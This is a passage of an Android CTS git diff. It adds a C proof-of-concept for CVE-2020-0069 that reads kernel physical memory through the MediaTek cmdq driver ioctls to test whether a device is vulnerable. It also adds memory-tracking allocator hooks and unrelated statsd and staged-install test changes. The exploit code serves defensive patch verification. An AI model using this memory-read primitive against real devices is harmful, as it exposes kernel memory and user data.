+ struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+ int ioctl_code = 0;
+ bool command_accepted = false;
+ // Mediatek have given these as possible kernel base addresses for different
+ // devices.
+ unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+ unsigned long pa_length = 0x10000;
+
+ for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+ ii++) {
+ fd = open(device_names[ii], O_RDONLY);
+ if (-1 == fd) {
+ // If we can't access the driver, then it's not vulnerable.
+ if (errno == EACCES) {
+ exit_code = EXIT_SUCCESS;
+ goto exit;
+ }
+ } else {
+ break;
+ }
+ }
+ if (-1 == fd) {
+ goto exit;
+ }
+
+ if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+ goto exit;
+ }
+
+ if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+ goto exit;
+ }
+
+ for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+ ii++) {
+ for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+ pa += 0x1000) {
+ memset(buffer, 0, read_size);
+
+ switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+ read_size)) {
+ case OperationSuccess:
+ command_accepted = true;
+ for (size_t ii = 0; ii < read_size; ii++) {
+ if (buffer[ii] != 0) {
+ exit_code = EXIT_VULNERABLE;
+ goto exit;
+ }
+ }
+ break;
+ case OperationFailed:
+ exit_code = EXIT_SUCCESS;
+ break;
+ case OperationError:
+ break;
+ }
+ }
+ }
+
+ // If the driver accepted commands, but we didn't manage to read any data,
+ // then we failed to demonstrate a vulnerability.
+ if (command_accepted) {
+ exit_code = EXIT_SUCCESS;
+ }
+
+exit:
+ if (-1 != fd) {
+ if (kernel_buffer.address != 0) {
+ (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+ }
+ (void)close(fd);
+ }
+
+ return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
index 3f4087f..c20e845 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
@@ -13,15 +13,22 @@
// limitations under the License.
filegroup {
- name: "cts_securitybulletin_memutils",
+ name: "cts_hostsidetests_securitybulletin_memutils",
srcs: [
"memutils.c",
],
}
filegroup {
- name: "cts_securitybulletin_omxutils",
+ name: "cts_hostsidetests_securitybulletin_omxutils",
srcs: [
"omxUtils.cpp",
],
}
+
+filegroup {
+ name: "cts_hostsidetests_securitybulletin_memutils_track",
+ srcs: [
+ "memutils_track.c",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
index 650d2f6..65e1e90 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
@@ -61,6 +61,7 @@
if (NULL == real_memalign) {
return;
}
+#ifndef DISABLE_MALLOC_OVERLOADING
real_calloc = dlsym(RTLD_NEXT, "calloc");
if (NULL == real_calloc) {
return;
@@ -73,6 +74,7 @@
if (NULL == real_realloc) {
return;
}
+#endif /* DISABLE_MALLOC_OVERLOADING */
real_free = dlsym(RTLD_NEXT, "free");
if (NULL == real_free) {
return;
@@ -99,14 +101,6 @@
size_t num_pages;
size_t page_size = getpagesize();
- /* User specified alignment is not respected and is overridden by
- * "new_alignment". This is required to catch OOB read when read offset is
- * less than user specified alignment. "new_alignment" is derived based on
- * size_t, and helps to avoid bus errors due to non-aligned memory.
- * "new_alignment", whenever used, is checked to ensure sizeof(size_t)
- * has returned proper value */
- size_t new_alignment = sizeof(size_t);
-
if (s_mem_map_index == MAX_ENTRIES) {
return real_memalign(alignment, size);
}
@@ -115,13 +109,16 @@
return real_memalign(alignment, size);
}
- if ((0 == page_size) || (0 == alignment) || (0 == size)
- || (0 == new_alignment)) {
+ if ((0 == page_size) || (0 == alignment) || (0 == size)) {
return real_memalign(alignment, size);
}
#ifdef CHECK_OVERFLOW
- if (0 != (size % new_alignment)) {
- aligned_size = size + (new_alignment - (size % new_alignment));
+ /* User specified alignment is not respected and is overridden by
+ * MINIMUM_ALIGNMENT. This is required to catch OOB read when read offset
+ * is less than user specified alignment. "MINIMUM_ALIGNMENT" helps to
+ * avoid bus errors due to non-aligned memory. */
+ if (0 != (size % MINIMUM_ALIGNMENT)) {
+ aligned_size = size + (MINIMUM_ALIGNMENT - (size % MINIMUM_ALIGNMENT));
}
#endif
@@ -134,11 +131,7 @@
total_size = (num_pages * page_size);
start_ptr = (char *) real_memalign(page_size, total_size);
#ifdef CHECK_OVERFLOW
-#ifdef FORCE_UNALIGN
- mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - size;
-#else
mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - aligned_size;
-#endif /* FORCE_UNALIGN */
DISABLE_MEM_ACCESS((start_ptr + ((num_pages - 1) * page_size)), page_size);
#endif /* CHECK_OVERFLOW */
#ifdef CHECK_UNDERFLOW
@@ -154,6 +147,7 @@
return mem_ptr;
}
+#ifndef DISABLE_MALLOC_OVERLOADING
void *malloc(size_t size) {
if (s_memutils_initialized == 0) {
memutils_init();
@@ -163,7 +157,7 @@
return real_malloc(size);
}
#endif /* ENABLE_SELECTIVE_OVERLOADING */
- return memalign(sizeof(size_t), size);
+ return memalign(MINIMUM_ALIGNMENT, size);
}
void *calloc(size_t nitems, size_t size) {
@@ -210,6 +204,7 @@
}
return real_realloc(ptr, size);
}
+#endif /* DISABLE_MALLOC_OVERLOADING */
void free(void *ptr) {
if (s_memutils_initialized == 0) {
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
index 10ee31e..4d3791e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
@@ -19,6 +19,7 @@
#endif /* __cplusplus */
#define MAX_ENTRIES (1024 * 1024)
#define INITIAL_VAL (0xBE)
+#define MINIMUM_ALIGNMENT (16)
#define DISABLE_MEM_ACCESS(mem, size)\
mprotect((char *) mem, size, PROT_NONE);
@@ -43,9 +44,11 @@
} map_struct_t;
static void* (*real_memalign)(size_t, size_t) = NULL;
+#ifndef DISABLE_MALLOC_OVERLOADING
static void* (*real_calloc)(size_t, size_t) = NULL;
static void* (*real_malloc)(size_t) = NULL;
static void* (*real_realloc)(void *ptr, size_t size) = NULL;
+#endif /* DISABLE_MALLOC_OVERLOADING */
static void (*real_free)(void *) = NULL;
static int s_memutils_initialized = 0;
static int s_mem_map_index = 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
new file mode 100644
index 0000000..80e125f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -0,0 +1,205 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include "common.h"
+#include "memutils_track.h"
+
+void memutils_init(void) {
+ real_memalign = dlsym(RTLD_NEXT, "memalign");
+ if (!real_memalign) {
+ return;
+ }
+ real_malloc = dlsym(RTLD_NEXT, "malloc");
+ if (!real_malloc) {
+ return;
+ }
+ real_free = dlsym(RTLD_NEXT, "free");
+ if (!real_free) {
+ return;
+ }
+
+#ifdef CHECK_MEMORY_LEAK
+ real_calloc = dlsym(RTLD_NEXT, "calloc");
+ if (!real_calloc) {
+ return;
+ }
+ atexit(exit_vulnerable_if_memory_leak_detected);
+#endif /* CHECK_MEMORY_LEAK */
+
+ s_memutils_initialized = true;
+}
+
+void *memalign(size_t alignment, size_t size) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ void* mem_ptr = real_memalign(alignment, size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+ if(mem_ptr) {
+ memset(mem_ptr, INITIAL_VAL, size);
+ }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+ return mem_ptr;
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+ if (!is_tracking_required(size)) {
+ return mem_ptr;
+ }
+ if (s_allocation_index >= MAX_ENTRIES) {
+ return mem_ptr;
+ }
+ s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+ s_allocation_list[s_allocation_index].mem_size = size;
+ ++s_allocation_index;
+ return mem_ptr;
+}
+
+void *malloc(size_t size) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ void* mem_ptr = real_malloc(size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+ if(mem_ptr) {
+ memset(mem_ptr, INITIAL_VAL, size);
+ }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+ return mem_ptr;
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+ if (!is_tracking_required(size)) {
+ return mem_ptr;
+ }
+ if (s_allocation_index >= MAX_ENTRIES) {
+ return mem_ptr;
+ }
+ s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+ s_allocation_list[s_allocation_index].mem_size = size;
+ ++s_allocation_index;
+ return mem_ptr;
+}
+
+void free(void *ptr) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ if (ptr) {
+ for (int i = 0; i < s_allocation_index; ++i) {
+ if (ptr == s_allocation_list[i].mem_ptr) {
+ real_free(ptr);
+ memset(&s_allocation_list[i], 0,
+ sizeof(allocated_memory_struct));
+ return;
+ }
+ }
+ }
+ return real_free(ptr);
+}
+
+#ifdef CHECK_MEMORY_LEAK
+void *calloc(size_t nitems, size_t size) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ void* mem_ptr = real_calloc(nitems, size);
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+ return mem_ptr;
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+ if (!is_tracking_required((nitems *size))) {
+ return mem_ptr;
+ }
+ if (s_allocation_index >= MAX_ENTRIES) {
+ return mem_ptr;
+ }
+ s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+ s_allocation_list[s_allocation_index].mem_size = nitems * size;
+ ++s_allocation_index;
+ return mem_ptr;
+}
+
+void exit_vulnerable_if_memory_leak_detected(void) {
+ bool memory_leak_detected = false;
+ for (int i = 0; i < s_allocation_index; ++i) {
+ if (s_allocation_list[i].mem_ptr) {
+ real_free(s_allocation_list[i].mem_ptr);
+ memset(&s_allocation_list[i], 0,
+ sizeof(allocated_memory_struct));
+ memory_leak_detected = true;
+ }
+ }
+ if(memory_leak_detected) {
+ exit(EXIT_VULNERABLE);
+ }
+ return;
+}
+#endif /* CHECK_MEMORY_LEAK */
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+bool is_memory_uninitialized() {
+ for (int i = 0; i < s_allocation_index; ++i) {
+ char *mem_ptr = s_allocation_list[i].mem_ptr;
+ size_t mem_size = s_allocation_list[i].mem_size;
+ if (mem_ptr) {
+
+#ifdef CHECK_FOUR_BYTES
+ if(mem_size > (2 * sizeof(uint32_t))) {
+ char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
+ char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+ for (size_t j = 0; j < sizeof(uint32_t); ++j) {
+ if (*mem_ptr_start++ == INITIAL_VAL) {
+ return true;
+ }
+ if (*mem_ptr_end-- == INITIAL_VAL) {
+ return true;
+ }
+ }
+ continue;
+ }
+#endif /* CHECK_FOUR_BYTES */
+
+ for (size_t j = 0; j < mem_size; ++j) {
+ if (*mem_ptr++ == INITIAL_VAL) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+}
+
+#endif /* CHECK_UNINITIALIZED_MEMORY */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
new file mode 100644
index 0000000..dff76e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES (32 * 1024)
+#define INITIAL_VAL 0xBE
+
+#define ENABLE_NONE 0x00
+#define ENABLE_MEMALIGN_CHECK 0x01
+#define ENABLE_MALLOC_CHECK 0x02
+#define ENABLE_CALLOC_CHECK 0x04
+#define ENABLE_ALL ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+ ENABLE_CALLOC_CHECK
+
+typedef struct {
+ void *mem_ptr;
+ size_t mem_size;
+} allocated_memory_struct;
+
+static bool s_memutils_initialized = false;
+static int s_allocation_index = 0;
+static allocated_memory_struct s_allocation_list[MAX_ENTRIES] = { { 0, 0 } };
+
+extern bool is_tracking_required(size_t size);
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+#ifdef CHECK_MEMORY_LEAK
+static void* (*real_calloc)(size_t, size_t) = NULL;
+void exit_vulnerable_if_memory_leak_detected(void);
+#endif
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+extern bool is_memory_uninitialized();
+#endif
+
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
index 8986c32..aeea4a0 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -34,7 +34,7 @@
#include <android/IOMXBufferSource.h>
#include <media/omx/1.0/WOmx.h>
#include <binder/MemoryDealer.h>
-#include "HardwareAPI.h"
+#include "media/hardware/HardwareAPI.h"
#include "OMX_Component.h"
#include <binder/ProcessState.h>
#include <media/stagefright/foundation/ALooper.h>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+ /**
+ * b/147882143
+ * b/152874234
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testPocCVE_2020_0069() throws Exception {
+ if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+ containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+ containsDriver(getDevice(), "/dev/mtk_mdp")) {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+ getDevice(), 300);
+ }
+ }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index 842d83a..3442ce1 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -77,6 +77,13 @@
} catch (RemoteException e) {
throw new RuntimeException("failed to freeze device orientation", e);
}
+ wakeupDeviceAndPressHome();
+ }
+
+ private void wakeupDeviceAndPressHome() throws Exception {
+ mDevice.wakeUp();
+ mDevice.pressMenu();
+ mDevice.pressHome();
}
@Override
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index a7922db..93064e6 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -331,6 +331,15 @@
}
@Test
+ public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1, TestApp.B1)
+ .assertSuccessful().getSessionId();
+ abandonSession(sessionId);
+ stageSingleApk(TestApp.Apex2).assertSuccessful();
+ }
+
+ @Test
public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 0a2e16b..427dbcce 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -138,6 +138,12 @@
}
@Test
+ public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+ runPhase("testStageAnotherSessionImmediatelyAfterAbandonMultiPackage");
+ }
+
+ @Test
public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
runPhase("testNoSessionUpdatedBroadcastSentForStagedSessionAbandon");
@@ -526,6 +532,7 @@
@Test
@LargeTest
public void testFailureReasonPersists_SingleSession() throws Exception {
+ assumeTrue(isCheckpointSupported());
runPhase("testFailureReasonPersists_SingleSession_Commit");
getDevice().reboot();
runPhase("testFailureReasonPersists_SingleSession_VerifyPostReboot");
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
index 59399ac..283d650 100644
--- a/hostsidetests/statsd/Android.bp
+++ b/hostsidetests/statsd/Android.bp
@@ -29,12 +29,13 @@
"compatibility-host-util",
"cts-tradefed",
"host-libprotobuf-java-full",
+ "perfetto_config-full",
"platformprotos",
"tradefed",
- "truth-prebuilt"
+ "truth-prebuilt",
],
static_libs: [
- "core_cts_test_resources"
+ "core_cts_test_resources",
],
data: [
"**/*.pbtxt",
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
index eabea94..a76c07e 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -45,6 +45,7 @@
"androidx.legacy_legacy-support-v4",
"androidx.test.rules",
"cts-net-utils",
+ "BlobStoreTestUtils"
],
jni_libs: ["liblmkhelper"],
compile_multilib: "both",
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 72bea3d..144e28e 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -27,6 +27,7 @@
import android.app.AlarmManager;
import android.app.AppOpsManager;
import android.app.PendingIntent;
+import android.app.blob.BlobStoreManager;
import android.app.job.JobInfo;
import android.app.job.JobScheduler;
import android.bluetooth.BluetoothAdapter;
@@ -61,6 +62,7 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Looper;
+import android.os.ParcelFileDescriptor;
import android.os.PowerManager;
import android.os.Process;
import android.os.SystemClock;
@@ -75,6 +77,11 @@
import androidx.annotation.NonNull;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.utils.blob.DummyBlobData;
+
+import com.google.common.io.BaseEncoding;
+
import org.junit.Test;
import java.net.HttpURLConnection;
@@ -82,6 +89,7 @@
import java.util.Arrays;
import java.util.List;
import java.util.Map;
+import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.function.BiConsumer;
@@ -192,6 +200,7 @@
// Op 96 was deprecated/removed
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
+ APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
}
@Test
@@ -677,7 +686,7 @@
long startTime = System.currentTimeMillis();
CountDownLatch latch = StatsdJobService.resetCountDownLatch();
js.schedule(job);
- waitForReceiver(context, 2_500, latch, null);
+ waitForReceiver(context, 5_000, latch, null);
}
@Test
@@ -938,6 +947,42 @@
context.stopService(intent);
}
+
+ // Constants for testBlobStore
+ private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+ private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+ private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+ private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+ private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
+ "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
+
+ @Test
+ public void testBlobStore() throws Exception {
+ Context context = InstrumentationRegistry.getContext();
+ int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
+
+ BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
+ final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
+
+ final DummyBlobData blobData = new DummyBlobData.Builder(context).setExpiryDurationMs(
+ BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
+
+ blobData.prepare();
+ try {
+ // Commit the Blob, should result in BLOB_COMMITTED atom event
+ commitBlob(context, bsm, blobData);
+
+ // Lease the Blob, should result in BLOB_LEASED atom event
+ bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
+
+ // Open the Blob, should result in BLOB_OPENED atom event
+ bsm.openBlob(blobData.getBlobHandle());
+
+ } finally {
+ blobData.delete();
+ }
+ }
+
// ------- Helper methods
/** Puts the current thread to sleep. */
@@ -994,4 +1039,19 @@
private static void setScreenBrightness(int brightness) {
runShellCommand("settings put system screen_brightness " + brightness);
}
+
+
+ private void commitBlob(Context context, BlobStoreManager bsm, DummyBlobData blobData)
+ throws Exception {;
+ final long sessionId = bsm.createSession(blobData.getBlobHandle());
+ try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
+ blobData.writeToSession(session);
+ session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
+
+ final CompletableFuture<Integer> callback = new CompletableFuture<>();
+ session.commit(context.getMainExecutor(), callback::complete);
+ assertWithMessage("Session failed to commit within timeout").that(
+ callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
+ }
+ }
}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
index 329bdfa..d81040f 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
@@ -28,6 +28,8 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import javax.annotation.concurrent.GuardedBy;
+
/**
* Handles callback from the framework {@link android.app.job.JobScheduler}.
* Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
@@ -38,6 +40,10 @@
JobInfo mRunningJobInfo;
JobParameters mRunningParams;
+
+ private static final Object sLock = new Object();
+
+ @GuardedBy("sLock")
private static CountDownLatch sLatch;
final Handler mHandler = new Handler();
@@ -47,24 +53,27 @@
Thread.sleep(500);
} catch (InterruptedException e) {
}
+
jobFinished(mRunningParams, false);
- if (sLatch != null) {
- sLatch.countDown();
+
+ synchronized (sLock) {
+ if (sLatch != null) {
+ sLatch.countDown();
+ }
}
}
};
public static synchronized CountDownLatch resetCountDownLatch() {
- sLatch = new CountDownLatch(1);
+ synchronized (sLock) {
+ if (sLatch == null || sLatch.getCount() == 0) {
+ sLatch = new CountDownLatch(1);
+ }
+ }
return sLatch;
}
@Override
- public void onCreate() {
- super.onCreate();
- }
-
- @Override
public boolean onStartJob(JobParameters params) {
mRunningParams = params;
mHandler.post(mWorker);
@@ -75,4 +84,4 @@
public boolean onStopJob(JobParameters params) {
return false;
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
index 12f110b..6968307 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
@@ -58,7 +58,6 @@
}
synchronized (sLock) {
Log.i(TAG, "onPerformSync");
- sLock.notifyAll();
if (sLatch != null) {
sLatch.countDown();
} else {
@@ -79,8 +78,12 @@
ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
}
- public static synchronized CountDownLatch resetCountDownLatch() {
- sLatch = new CountDownLatch(1);
+ public static CountDownLatch resetCountDownLatch() {
+ synchronized (sLock) {
+ if (sLatch == null || sLatch.getCount() == 0) {
+ sLatch = new CountDownLatch(1);
+ }
+ }
return sLatch;
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
index d40c590..032297e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
@@ -51,9 +51,6 @@
}
public void testAlarm() throws Exception {
- if (statsdDisabled()) {
- return;
- }
StatsdConfig.Builder config = getBaseConfig();
turnScreenOn();
uploadConfig(config);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
index d88f941..d6c1107 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
@@ -92,9 +92,6 @@
// Tests that anomaly detection for count works.
// Also tests that anomaly detection works when spanning multiple buckets.
public void testCountAnomalyDetection() throws Exception {
- if (statsdDisabled()) {
- return;
- }
